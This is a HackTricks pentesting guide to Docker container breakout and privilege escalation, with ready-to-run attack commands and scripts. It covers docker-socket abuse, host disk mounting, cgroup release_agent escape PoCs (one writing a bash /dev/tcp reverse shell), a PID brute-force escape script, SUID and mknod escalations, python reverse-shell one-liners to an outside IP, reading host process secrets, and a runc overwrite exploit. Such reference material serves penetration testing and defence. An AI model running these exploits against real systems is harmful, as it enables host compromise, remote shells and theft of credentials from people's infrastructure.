mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 10:33:36 +00:00
600 lines
28 KiB
Markdown
600 lines
28 KiB
Markdown
# Docker Breakout / Privilege Escalation
|
||
|
||
<details>
|
||
|
||
<summary><strong>HackTricks in</strong> <a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
%20\(1\)%20\(2\).png)
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## Automatic Enumeration & Escape
|
||
|
||
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers**
|
||
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically**
|
||
* [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it
|
||
* [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
|
||
* [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
|
||
|
||
## Mounted Docker Socket Escape
|
||
|
||
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
|
||
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
|
||
|
||
```bash
|
||
#Search the socket
|
||
find / -name docker.sock 2>/dev/null
|
||
#It's usually in /run/docker.sock
|
||
```
|
||
|
||
In this case you can use regular docker commands to communicate with the docker daemon:
|
||
|
||
```bash
|
||
#List images to use one
|
||
docker images
|
||
#Run the image mounting the host disk and chroot on it
|
||
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
|
||
|
||
# Get full access to the host via ns pid and nsenter cli
|
||
docker run -it --rm --pid=host --privileged ubuntu bash
|
||
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
||
|
||
# Get full privs in container without --privileged
|
||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||
```
|
||
|
||
{% hint style="info" %}
|
||
In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
|
||
{% endhint %}
|
||
|
||
Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`.
|
||
|
||
{% hint style="info" %}
|
||
Additionally, pay attention to the runtime sockets of other high-level runtimes:
|
||
|
||
* dockershim: `unix:///var/run/dockershim.sock`
|
||
* containerd: `unix:///run/containerd/containerd.sock`
|
||
* cri-o: `unix:///var/run/crio/crio.sock`
|
||
* frakti: `unix:///var/run/frakti.sock`
|
||
* rktlet: `unix:///var/run/rktlet.sock`
|
||
* ...
|
||
{% endhint %}
|
||
|
||
## Capabilities Abuse Escape
|
||
|
||
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||
|
||
You can check currently container capabilities using **previously mentioned automatic tools** or:
|
||
|
||
```bash
|
||
capsh --print
|
||
```
|
||
|
||
In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges:
|
||
|
||
{% content-ref url="../../linux-capabilities.md" %}
|
||
[linux-capabilities.md](../../linux-capabilities.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Escape from Privileged Containers
|
||
|
||
A privileged container can be created with the flag `--privileged` or disabling specific defenses:
|
||
|
||
* `--cap-add=ALL`
|
||
* `--security-opt apparmor=unconfined`
|
||
* `--security-opt seccomp=unconfined`
|
||
* `--security-opt label:disable`
|
||
* `--pid=host`
|
||
* `--userns=host`
|
||
* `--uts=host`
|
||
* `--cgroupns=host`
|
||
|
||
The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can r**ead all the effects of `--privileged`** in this page:
|
||
|
||
{% content-ref url="../docker-privileged.md" %}
|
||
[docker-privileged.md](../docker-privileged.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Privileged + hostPID
|
||
|
||
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||
|
||
Test it in a container executing:
|
||
|
||
```bash
|
||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||
```
|
||
|
||
### Privileged
|
||
|
||
Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release\_agent or other escapes**.
|
||
|
||
Test the following bypasses in a container executing:
|
||
|
||
```bash
|
||
docker run --rm -it --privileged ubuntu bash
|
||
```
|
||
|
||
#### Mounting Disk - Poc1
|
||
|
||
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
|
||
|
||
|
||
|
||
So to take over the host machine, it is trivial:
|
||
|
||
```bash
|
||
mkdir -p /mnt/hola
|
||
mount /dev/sda1 /mnt/hola
|
||
```
|
||
|
||
And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder.
|
||
|
||
#### Mounting Disk - Poc2
|
||
|
||
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
|
||
|
||
```bash
|
||
### Check if You Can Write to a File-system
|
||
echo 1 > /proc/sysrq-trigger
|
||
|
||
### Check root UUID
|
||
cat /proc/cmdline
|
||
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
|
||
|
||
# Check Underlying Host Filesystem
|
||
findfs UUID=<UUID Value>
|
||
/dev/sda1
|
||
|
||
# Attempt to Mount the Host's Filesystem
|
||
mkdir /mnt-test
|
||
mount /dev/sda1 /mnt-test
|
||
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.
|
||
|
||
### debugfs (Interactive File System Debugger)
|
||
debugfs /dev/sda1
|
||
```
|
||
|
||
#### Privileged Escape Abusing existent release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||
|
||
{% code title="Initial PoC" %}
|
||
```bash
|
||
# spawn a new container to exploit via:
|
||
# docker run --rm -it --privileged ubuntu bash
|
||
|
||
# Finds + enables a cgroup release_agent
|
||
# Looks for something like: /sys/fs/cgroup/*/release_agent
|
||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||
# If "d" is empty, this won't work, you need to use the next PoC
|
||
|
||
# Enables notify_on_release in the cgroup
|
||
mkdir -p $d/w;
|
||
echo 1 >$d/w/notify_on_release
|
||
# If you have a "Read-only file system" error, you need to use the next PoC
|
||
|
||
# Finds path of OverlayFS mount for container
|
||
# Unless the configuration explicitly exposes the mount point of the host filesystem
|
||
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
|
||
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||
|
||
# Sets release_agent to /path/payload
|
||
touch /o; echo $t/c > $d/release_agent
|
||
|
||
# Creates a payload
|
||
echo "#!/bin/sh" > /c
|
||
echo "ps > $t/o" >> /c
|
||
chmod +x /c
|
||
|
||
# Triggers the cgroup via empty cgroup.procs
|
||
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
||
|
||
# Reads the output
|
||
cat /o
|
||
```
|
||
{% endcode %}
|
||
|
||
#### Privileged Escape Abusing created release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||
|
||
{% code title="Second PoC" %}
|
||
```bash
|
||
# On the host
|
||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||
|
||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||
# This technique should work with the majority of cgroup controllers
|
||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
|
||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||
# If mount gives an error, this won't work, you need to use the first PoC
|
||
|
||
# Enables cgroup notifications on release of the "x" cgroup
|
||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||
|
||
# Finds path of OverlayFS mount for container
|
||
# Unless the configuration explicitly exposes the mount point of the host filesystem
|
||
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
|
||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||
|
||
# Sets release_agent to /path/payload
|
||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||
|
||
#For a normal PoC =================
|
||
echo '#!/bin/sh' > /cmd
|
||
echo "ps aux > $host_path/output" >> /cmd
|
||
chmod a+x /cmd
|
||
#===================================
|
||
#Reverse shell
|
||
echo '#!/bin/bash' > /cmd
|
||
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
|
||
chmod a+x /cmd
|
||
#===================================
|
||
|
||
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
|
||
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
|
||
# The script on the host will execute after /bin/sh exits
|
||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||
|
||
# Reads the output
|
||
cat /output
|
||
```
|
||
{% endcode %}
|
||
|
||
Find an **explanation of the technique** in:
|
||
|
||
{% content-ref url="docker-release_agent-cgroups-escape.md" %}
|
||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||
{% endcontent-ref %}
|
||
|
||
#### Privileged Escape Abusing release\_agent without known the relative path - PoC3
|
||
|
||
In the previous exploits the **absolute path of the continer inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the continer inside the host** you can use this technique:
|
||
|
||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||
{% endcontent-ref %}
|
||
|
||
```bash
|
||
#!/bin/sh
|
||
|
||
OUTPUT_DIR="/"
|
||
MAX_PID=65535
|
||
CGROUP_NAME="xyx"
|
||
CGROUP_MOUNT="/tmp/cgrp"
|
||
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
|
||
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
|
||
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
|
||
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
|
||
|
||
# Run a process for which we can search for (not needed in reality, but nice to have)
|
||
sleep 10000 &
|
||
|
||
# Prepare the payload script to execute on the host
|
||
cat > ${PAYLOAD_PATH} << __EOF__
|
||
#!/bin/sh
|
||
|
||
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
|
||
|
||
# Commands to run on the host<
|
||
ps -eaf > \${OUTPATH} 2>&1
|
||
__EOF__
|
||
|
||
# Make the payload script executable
|
||
chmod a+x ${PAYLOAD_PATH}
|
||
|
||
# Set up the cgroup mount using the memory resource cgroup controller
|
||
mkdir ${CGROUP_MOUNT}
|
||
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
|
||
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
|
||
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
|
||
|
||
# Brute force the host pid until the output path is created, or we run out of guesses
|
||
TPID=1
|
||
while [ ! -f ${OUTPUT_PATH} ]
|
||
do
|
||
if [ $((${TPID} % 100)) -eq 0 ]
|
||
then
|
||
echo "Checking pid ${TPID}"
|
||
if [ ${TPID} -gt ${MAX_PID} ]
|
||
then
|
||
echo "Exiting at ${MAX_PID} :-("
|
||
exit 1
|
||
fi
|
||
fi
|
||
# Set the release_agent path to the guessed pid
|
||
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
|
||
# Trigger execution of the release_agent
|
||
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
|
||
TPID=$((${TPID} + 1))
|
||
done
|
||
|
||
# Wait for and cat the output
|
||
sleep 1
|
||
echo "Done! Output:"
|
||
cat ${OUTPUT_PATH}
|
||
```
|
||
|
||
Executing the PoC within a privileged container should provide output similar to:
|
||
|
||
```bash
|
||
root@container:~$ ./release_agent_pid_brute.sh
|
||
Checking pid 100
|
||
Checking pid 200
|
||
Checking pid 300
|
||
Checking pid 400
|
||
Checking pid 500
|
||
Checking pid 600
|
||
Checking pid 700
|
||
Checking pid 800
|
||
Checking pid 900
|
||
Checking pid 1000
|
||
Checking pid 1100
|
||
Checking pid 1200
|
||
|
||
Done! Output:
|
||
UID PID PPID C STIME TTY TIME CMD
|
||
root 1 0 0 11:25 ? 00:00:01 /sbin/init
|
||
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
|
||
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
|
||
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
|
||
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
|
||
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
|
||
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||
...
|
||
```
|
||
|
||
#### Privileged Escape Abusing Sensitive Mounts
|
||
|
||
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
|
||
The abuse of these files may allow that:
|
||
|
||
* release\_agent (already covered before)
|
||
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||
|
||
However, you can find **other sensitive files** to check for in this page:
|
||
|
||
{% content-ref url="sensitive-mounts.md" %}
|
||
[sensitive-mounts.md](sensitive-mounts.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Arbitrary Mounts
|
||
|
||
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized\_keys…
|
||
|
||
```bash
|
||
docker run --rm -it -v /:/host ubuntu bash
|
||
```
|
||
|
||
### Privilege Escalation with 2 shells and host mount
|
||
|
||
If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
|
||
You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.
|
||
|
||
```bash
|
||
cp /bin/bash . #From non priv inside mounted folder
|
||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||
chown root:root bash #From container as root inside mounted folder
|
||
chmod 4777 bash #From container as root inside mounted folder
|
||
bash -p #From non priv inside mounted folder
|
||
```
|
||
|
||
### Privilege Escalation with 2 shells
|
||
|
||
If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||
With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**.
|
||
|
||
Docker ensures that block devices **cannot be abused from within the container** by setting a cgroup policy on the container that blocks read and write of block devices.\
|
||
However, if a block device is **created within the container it can be accessed** through the /proc/PID/root/ folder by someone **outside the container**, the limitation being that the **process must be owned by the same user** outside and inside the container.
|
||
|
||
**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||
|
||
```bash
|
||
# On the container as root
|
||
cd /
|
||
# Crate device
|
||
mknod sda b 8 0
|
||
# Give access to it
|
||
chmod 777 sda
|
||
|
||
# Create the nonepriv user of the host inside the container
|
||
## In this case it's called augustus (like the user from the host)
|
||
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
|
||
# Get a shell as augustus inside the container
|
||
su augustus
|
||
su: Authentication failure
|
||
(Ignored)
|
||
augustus@3a453ab39d3d:/backend$ /bin/sh
|
||
/bin/sh
|
||
$
|
||
```
|
||
|
||
```bash
|
||
# On the host
|
||
|
||
# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
|
||
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
|
||
root 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
|
||
root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
|
||
augustus 1659 0.0 0.0 4292 712 ? S+ 09:48 0:00 \_ /bin/sh
|
||
augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ grep /bin/sh
|
||
|
||
# The process ID is 1659 in this case
|
||
# Grep for the sda for HTB{ through the process:
|
||
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
|
||
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
|
||
```
|
||
|
||
### hostPID
|
||
|
||
If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:
|
||
|
||
```
|
||
docker run --rm -it --pid=host ubuntu bash
|
||
```
|
||
|
||
For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands.
|
||
|
||
Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running:
|
||
|
||
```bash
|
||
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
|
||
/proc/988058/environ
|
||
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||
HOSTNAME=argocd-server-69678b4f65-6mmql
|
||
USER=abrgocd
|
||
...
|
||
```
|
||
|
||
You can also **access other processes file descriptors and read their open files**:
|
||
|
||
```bash
|
||
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
|
||
less fds.txt
|
||
...omitted for brevity...
|
||
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
|
||
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
|
||
# You can open the secret filw with:
|
||
cat /proc/635813/fd/4
|
||
```
|
||
|
||
You can also **kill processes and cause a DoS**.
|
||
|
||
{% hint style="warning" %}
|
||
If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target <pid> --all` or `nsenter --target <pid> --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.**
|
||
{% endhint %}
|
||
|
||
### hostNetwork
|
||
|
||
```
|
||
docker run --rm -it --network=host ubuntu bash
|
||
```
|
||
|
||
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
|
||
|
||
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
|
||
|
||
Like in the following examples:
|
||
|
||
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||
|
||
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access):
|
||
|
||
{% content-ref url="broken-reference/" %}
|
||
[broken-reference](broken-reference/)
|
||
{% endcontent-ref %}
|
||
|
||
### hostIPC
|
||
|
||
```
|
||
docker run --rm -it --ipc=host ubuntu bash
|
||
```
|
||
|
||
If you only have `hostIPC=true`, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s **inter-process communication mechanisms** (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is `/dev/shm`, as it is shared between any pod with `hostIPC=true` and the host. You'll also want to check out the other IPC mechanisms with `ipcs`.
|
||
|
||
* **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
|
||
* **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
|
||
|
||
### Recover capabilities
|
||
|
||
If the syscall **`unshare`** is not forbidden you can recover all the capabilities running:
|
||
|
||
```bash
|
||
unshare -UrmC
|
||
# Check them with
|
||
cat /proc/self/status | grep CapEff
|
||
```
|
||
|
||
### User namespace abuse via symlink
|
||
|
||
The second technique explained in the post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
|
||
|
||
%20\(1\)%20\(2\).png)
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## CVEs
|
||
|
||
### Cgroups escape (**CVE-2022-0492)**
|
||
|
||
****
|
||
|
||
### Runc exploit (CVE-2019-5736)
|
||
|
||
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
|
||
|
||
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\
|
||
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine:
|
||
|
||
`docker exec -it <container-name> /bin/sh`
|
||
|
||
This will trigger the payload which is present in the main.go file.
|
||
|
||
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
|
||
|
||
{% hint style="info" %}
|
||
There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
|
||
{% endhint %}
|
||
|
||
## Breakout Templates
|
||
|
||
### Container Breakout through Usermode helper Template
|
||
|
||
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
|
||
|
||
* Find the **path of the containers filesystem** inside the host
|
||
* You can do this via **mount**, or via **brute-force PIDs** as explained in the second release\_agent exploit
|
||
* Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
|
||
* You should be able to **execute the trigger from inside the host**
|
||
* You need to know where the containers files are located inside the host to indicate a script you write inside the host
|
||
* Have **enough capabilities and disabled protections** to be able to abuse that functionality
|
||
* You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
|
||
|
||
## References
|
||
|
||
* [https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB](https://twitter.com/\_fel1x/status/1151487053370187776?lang=en-GB)
|
||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||
* [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)
|
||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver)
|
||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||
|
||
%20\(1\)%20\(2\).png)
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||
Get Access Today:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>HackTricks in</strong> <a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|